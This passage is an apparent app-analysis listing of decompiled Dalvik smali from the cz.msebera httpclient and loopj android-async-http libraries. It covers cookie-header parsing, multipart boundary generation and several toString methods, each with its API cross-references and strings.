        43invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        45iget-object v2, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoModule:Ljava/lang/String;
        47invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        49const-string v2, "UNAVAILABLE"
        51iget-object v3, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoRelease:Ljava/lang/String;
        53invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        54move-result v2
        55if-nez v2, :cond_4f
        57invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        59iget-object v2, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoRelease:Ljava/lang/String;
        61invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        62cond_4f:
        63const-string v2, "UNAVAILABLE"
        65iget-object v3, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoTimestamp:Ljava/lang/String;
        67invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        68move-result v2
        69if-nez v2, :cond_61
        71invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        73iget-object v1, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoTimestamp:Ljava/lang/String;
        75invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        76cond_61: const/16 v1, 0x29
        78invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        80const-string v1, "UNAVAILABLE"
        82iget-object v2, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoClassloader:Ljava/lang/String;
        84invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        85move-result v1
        86if-nez v1, :cond_7a
        87const/16 v1, 0x40
        89invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        91iget-object v1, p0, Lcz/msebera/android/httpclient/util/VersionInfo;->infoClassloader:Ljava/lang/String;
        93invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        94cond_7a:
        95invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        96move-result-object v0
        97return-object v0
        Cross References
        APIs
        • java.lang.Object.<init>
        • java.util.ArrayList.<init>
        • java.io.ByteArrayOutputStream.<init>
        • java.lang.StringBuilder.<init>
        • java.util.Random.<init>
        • java.util.Random.nextInt
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        Strings
        • --
        • \r\n
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2new-instance v0, Ljava/util/ArrayList;
        4invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
        5iput-object v0, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->fileParts:Ljava/util/List;
        6new-instance v0, Ljava/io/ByteArrayOutputStream;
        8invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
        9iput-object v0, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->out:Ljava/io/ByteArrayOutputStream;
        10new-instance v0, Ljava/lang/StringBuilder;
        12invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        13new-instance v1, Ljava/util/Random;
        15invoke-direct {v1}, Ljava/util/Random;-><init>()V
        16const/4 v2, 0x0
        17goto_1c: const/16 v3, 0x1e
        18if-ge v2, v3, :cond_31
        20sget-object v3, Lcom/loopj/android/http/SimpleMultipartEntity;->MULTIPART_CHARS:[C
        22sget-object v4, Lcom/loopj/android/http/SimpleMultipartEntity;->MULTIPART_CHARS:[C
        23array-length v4, v4
        25invoke-virtual {v1, v4}, Ljava/util/Random;->nextInt(I)I
        26move-result v4
        27aget-char v3, v3, v4
        29invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        30add-int/lit8 v2, v2, 0x1
        31goto/16 :goto_1c
        32cond_31:
        33invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        34move-result-object v0
        35iput-object v0, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->boundary:Ljava/lang/String;
        36new-instance v0, Ljava/lang/StringBuilder;
        38invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        40const-string v1, "--"
        42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44iget-object v1, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->boundary:Ljava/lang/String;
        46invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48const-string v1, "\r\n"
        50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        53move-result-object v0
        55invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
        56move-result-object v0
        57iput-object v0, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->boundaryLine:[B
        58new-instance v0, Ljava/lang/StringBuilder;
        60invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        62const-string v1, "--"
        64invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        66iget-object v1, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->boundary:Ljava/lang/String;
        68invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        70const-string v1, "--"
        72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        74const-string v1, "\r\n"
        76invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        79move-result-object v0
        81invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
        82move-result-object v0
        83iput-object v0, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->boundaryEnd:[B
        84iput-object p1, p0, Lcom/loopj/android/http/SimpleMultipartEntity;->progressHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        85return-void
        APIs
        • java.lang.String.equalsIgnoreCase
        • java.lang.String.length
        • java.lang.String.toLowerCase
        • java.util.Collections.singletonList
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Header
        • Cookie origin
        • Set-Cookie
        • version
        • expires
        • Cookie name may not be empty
        • Header value is null
        • Unrecognized cookie header \'
        • \'
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Lcz/msebera/android/httpclient/Header;",
        4"Lcz/msebera/android/httpclient/cookie/CookieOrigin;",
        5")",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/cookie/Cookie;",
        8">;"
        9}
        10.end annotation
        11.annotation system Ldalvik/annotation/Throws;
        12value = {
        13Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        14}
        15.end annotation
        17const-string v0, "Header"
        19invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        21const-string v0, "Cookie origin"
        23invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        25invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        26move-result-object v0
        28const-string v1, "Set-Cookie"
        30invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        31move-result v0
        32if-eqz v0, :cond_e4
        34invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        35move-result-object v0
        36array-length v1, v0
        37const/4 v2, 0x0
        38const/4 v3, 0x0
        39const/4 v4, 0x0
        40const/4 v5, 0x0
        41goto_1f: const/4 v6, 0x1
        42if-ge v3, v1, :cond_39
        43aget-object v7, v0, v3
        45const-string v8, "version"
        47invoke-interface {v7, v8}, Lcz/msebera/android/httpclient/HeaderElement;->getParameterByName(Ljava/lang/String;)Lcz/msebera/android/httpclient/NameValuePair;
        48move-result-object v8
        49if-eqz v8, :cond_2d
        50const/4 v5, 0x1
        51cond_2d:
        52const-string v8, "expires"
        54invoke-interface {v7, v8}, Lcz/msebera/android/httpclient/HeaderElement;->getParameterByName(Ljava/lang/String;)Lcz/msebera/android/httpclient/NameValuePair;
        55move-result-object v7
        56if-eqz v7, :cond_36
        57const/4 v4, 0x1
        58cond_36: add-int/lit8 v3, v3, 0x1
        59goto/16 :goto_1f
        60cond_39: if-nez v4, :cond_43
        61if-nez v5, :cond_3e
        62goto/16 :goto_43
        63cond_3e:
        64invoke-virtual {p0, v0, p2}, Lcz/msebera/android/httpclient/impl/cookie/BrowserCompatSpec;->parse([Lcz/msebera/android/httpclient/HeaderElement;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/util/List;
        65move-result-object p1
        66return-object p1
        67goto_43:
        68sget-object v0, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftHeaderParser;->DEFAULT:Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftHeaderParser;
        69instance-of v1, p1, Lcz/msebera/android/httpclient/FormattedHeader;
        70if-eqz v1, :cond_5d
        71check-cast p1, Lcz/msebera/android/httpclient/FormattedHeader;
        73invoke-interface {p1}, Lcz/msebera/android/httpclient/FormattedHeader;->getBuffer()Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        74move-result-object v1
        75new-instance v3, Lcz/msebera/android/httpclient/message/ParserCursor;
        77invoke-interface {p1}, Lcz/msebera/android/httpclient/FormattedHeader;->getValuePos()I
        78move-result p1
        80invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        81move-result v5
        83invoke-direct {v3, p1, v5}, Lcz/msebera/android/httpclient/message/ParserCursor;-><init>(II)V
        84goto/16 :goto_78
        85cond_5d:
        86invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        87move-result-object p1
        88if-eqz p1, :cond_dc
        89new-instance v1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        91invoke-virtual {p1}, Ljava/lang/String;->length()I
        92move-result v3
        94invoke-direct {v1, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        96invoke-virtual {v1, p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        97new-instance v3, Lcz/msebera/android/httpclient/message/ParserCursor;
        99invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        100move-result p1
        102invoke-direct {v3, v2, p1}, Lcz/msebera/android/httpclient/message/ParserCursor;-><init>(II)V
        103goto_78:
        104invoke-virtual {v0, v1, v3}, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftHeaderParser;->parseHeader(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)Lcz/msebera/android/httpclient/HeaderElement;
        105move-result-object p1
        107invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        108move-result-object v0
        110invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderElement;->getValue()Ljava/lang/String;
        111move-result-object v1
        112if-eqz v0, :cond_d4
        114invoke-static {v0}, Lcz/msebera/android/httpclient/util/TextUtils;->isBlank(Ljava/lang/CharSequence;)Z
        115move-result v3
        116if-nez v3, :cond_d4
        117new-instance v3, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;
        119invoke-direct {v3, v0, v1}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        121invoke-static {p2}, Lcz/msebera/android/httpclient/impl/cookie/BrowserCompatSpec;->getDefaultPath(Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/lang/String;
        122move-result-object v0
        124invoke-virtual {v3, v0}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->setPath(Ljava/lang/String;)V
        126invoke-static {p2}, Lcz/msebera/android/httpclient/impl/cookie/BrowserCompatSpec;->getDefaultDomain(Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/lang/String;
        127move-result-object p2
        129invoke-virtual {v3, p2}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->setDomain(Ljava/lang/String;)V
        131invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderElement;->getParameters()[Lcz/msebera/android/httpclient/NameValuePair;
        132move-result-object p1
        133array-length p2, p1
        134sub-int/2addr p2, v6
        135goto_a5: if-ltz p2, :cond_ca
        136aget-object v0, p1, p2
        138invoke-interface {v0}, Lcz/msebera/android/httpclient/NameValuePair;->getName()Ljava/lang/String;
        139move-result-object v1
        141sget-object v5, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        143invoke-virtual {v1, v5}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        144move-result-object v1
        146invoke-interface {v0}, Lcz/msebera/android/httpclient/NameValuePair;->getValue()Ljava/lang/String;
        147move-result-object v5
        149invoke-virtual {v3, v1, v5}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->setAttribute(Ljava/lang/String;Ljava/lang/String;)V
        151invoke-virtual {p0, v1}, Lcz/msebera/android/httpclient/impl/cookie/BrowserCompatSpec;->findAttribHandler(Ljava/lang/String;)Lcz/msebera/android/httpclient/cookie/CookieAttributeHandler;
        152move-result-object v1
        153if-eqz v1, :cond_c7
        155invoke-interface {v0}, Lcz/msebera/android/httpclient/NameValuePair;->getValue()Ljava/lang/String;
        156move-result-object v0
        158invoke-interface {v1, v3, v0}, Lcz/msebera/android/httpclient/cookie/CookieAttributeHandler;->parse(Lcz/msebera/android/httpclient/cookie/SetCookie;Ljava/lang/String;)V
        159cond_c7: add-int/lit8 p2, p2, -0x1
        160goto/16 :goto_a5
        161cond_ca: if-eqz v4, :cond_cf
        163invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/impl/cookie/BasicClientCookie;->setVersion(I)V
        164cond_cf:
        165invoke-static {v3}, Ljava/util/Collections;->singletonList(Ljava/lang/Object;)Ljava/util/List;
        166move-result-object p1
        167return-object p1
        168cond_d4: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        170const-string p2, "Cookie name may not be empty"
        172invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        173throw p1
        174cond_dc: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        176const-string p2, "Header value is null"
        178invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        179throw p1
        180cond_e4: new-instance p2, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        181new-instance v0, Ljava/lang/StringBuilder;
        183invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        185const-string v1, "Unrecognized cookie header \'"
        187invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        189invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        190move-result-object p1
        192invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        194const-string p1, "\'"
        196invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        198invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        199move-result-object p1
        201invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        202throw p2
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [activeConnections=
        • , scheduledConnections=
        • , successfulConnections=
        • , failedConnections=
        • , requests=
        • , tasks=
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[activeConnections="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->activeConnections:Ljava/util/concurrent/atomic/AtomicLong;
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        12const-string v1, ", scheduledConnections="
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->scheduledConnections:Ljava/util/concurrent/atomic/AtomicLong;
        18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        20const-string v1, ", successfulConnections="
        22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->successfulConnections:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        28const-string v1, ", failedConnections="
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->failedConnections:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        36const-string v1, ", requests="
        38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->requests:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        44const-string v1, ", tasks="
        46invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics;->tasks:Lcz/msebera/android/httpclient/impl/client/FutureRequestExecutionMetrics$DurationCounter;
        50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        52const-string v1, "]"
        54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        56invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        57move-result-object v0
        58return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [bufferSize=
        • , fragmentSizeHint=
        • , charset=
        • , malformedInputAction=
        • , unmappableInputAction=
        • , messageConstraints=
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[bufferSize="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget v1, p0, Lcz/msebera/android/httpclient/config/ConnectionConfig;->bufferSize:I
        9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        11const-string v1, ", fragmentSizeHint="
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14iget v1, p0, Lcz/msebera/android/httpclient/config/ConnectionConfig;->fragmentSizeHint:I
        16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        18const-string v1, ", charset="
        20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22iget-object v1, p0, Lcz/msebera/android/httpclient/config/ConnectionConfig;->charset:Ljava/nio/charset/Charset;
        24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        26const-string v1, ", malformedInputAction="
        28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30iget-object v1, p0, Lcz/msebera/android/httpclient/config/ConnectionConfig;->malformedInputAction:Ljava/nio/charset/CodingErrorAction;
        32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        34const-string v1, ", unmappableInputAction="
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38iget-object v1, p0, Lcz/msebera/android/httpclient/config/ConnectionConfig;->unmappableInputAction:Ljava/nio/charset/CodingErrorAction;
        40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        42const-string v1, ", messageConstraints="
        44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46iget-object v1, p0, Lcz/msebera/android/httpclient/config/ConnectionConfig;->messageConstraints:Lcz/msebera/android/httpclient/config/MessageConstraints;
        48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        50const-string v1, "]"
        52invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        54invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        55move-result-object v0
        56return-object v0
        Cross References
        APIs
        • java.util.concurrent.ConcurrentHashMap.isEmpty
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getValue
        • java.util.Map$Entry.getKey
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5new-instance v0, Lcom/loopj/android/http/JsonStreamerEntity;
        7iget-object v1, p0, Lcom/loopj/android/http/RequestParams;->fileParams:Ljava/util/concurrent/ConcurrentHashMap;
        9invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->isEmpty()Z
        10move-result v1
        11if-eqz v1, :cond_15
        13iget-object v1, p0, Lcom/loopj/android/http/RequestParams;->streamParams:Ljava/util/concurrent/ConcurrentHashMap;
        15invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->isEmpty()Z
        16move-result v1
        17if-nez v1, :cond_13
        18goto/16 :goto_15
        19cond_13: const/4 v1, 0x0
        20goto/16 :goto_16
        21cond_15: const/4 v1, 0x1
        22goto_16:
        23iget-object v2, p0, Lcom/loopj/android/http/RequestParams;->elapsedFieldInJsonStreamer:Ljava/lang/String;
        25invoke-direct {v0, p1, v1, v2}, Lcom/loopj/android/http/JsonStreamerEntity;-><init>(Lcom/loopj/android/http/ResponseHandlerInterface;ZLjava/lang/String;)V
        27iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->urlParams:Ljava/util/concurrent/ConcurrentHashMap;
        29invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        30move-result-object p1
        32invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        33move-result-object p1
        34goto_25:
        35invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        36move-result v1
        37if-eqz v1, :cond_3f
        39invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        40move-result-object v1
        41check-cast v1, Ljava/util/Map$Entry;
        43invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        44move-result-object v2
        45check-cast v2, Ljava/lang/String;
        47invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        48move-result-object v1
        50invoke-virtual {v0, v2, v1}, Lcom/loopj/android/http/JsonStreamerEntity;->addPart(Ljava/lang/String;Ljava/lang/Object;)V
        51goto/16 :goto_25
        52cond_3f:
        53iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->urlParamsWithObjects:Ljava/util/concurrent/ConcurrentHashMap;
        55invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        56move-result-object p1
        58invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        59move-result-object p1
        60goto_49:
        61invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        62move-result v1
        63if-eqz v1, :cond_63
        65invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        66move-result-object v1
        67check-cast v1, Ljava/util/Map$Entry;
        69invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        70move-result-object v2
        71check-cast v2, Ljava/lang/String;
        73invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        74move-result-object v1
        76invoke-virtual {v0, v2, v1}, Lcom/loopj/android/http/JsonStreamerEntity;->addPart(Ljava/lang/String;Ljava/lang/Object;)V
        77goto/16 :goto_49
        78cond_63:
        79iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->fileParams:Ljava/util/concurrent/ConcurrentHashMap;
        81invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        82move-result-object p1
        84invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        85move-result-object p1
        86goto_6d:
        87invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        88move-result v1
        89if-eqz v1, :cond_87
        91invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        92move-result-object v1
        93check-cast v1, Ljava/util/Map$Entry;
        95invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        96move-result-object v2
        97check-cast v2, Ljava/lang/String;
        99invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        100move-result-object v1
        102invoke-virtual {v0, v2, v1}, Lcom/loopj/android/http/JsonStreamerEntity;->addPart(Ljava/lang/String;Ljava/lang/Object;)V
        103goto/16 :goto_6d
        104cond_87:
        105iget-object p1, p0, Lcom/loopj/android/http/RequestParams;->streamParams:Ljava/util/concurrent/ConcurrentHashMap;
        107invoke-virtual {p1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        108move-result-object p1
        110invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        111move-result-object p1
        112cond_91:
        113invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        114move-result v1
        115if-eqz v1, :cond_bd
        117invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        118move-result-object v1
        119check-cast v1, Ljava/util/Map$Entry;
        121invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        122move-result-object v2
        123check-cast v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;
        125iget-object v3, v2, Lcom/loopj/android/http/RequestParams$StreamWrapper;->inputStream:Ljava/io/InputStream;
        126if-eqz v3, :cond_91
        128invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
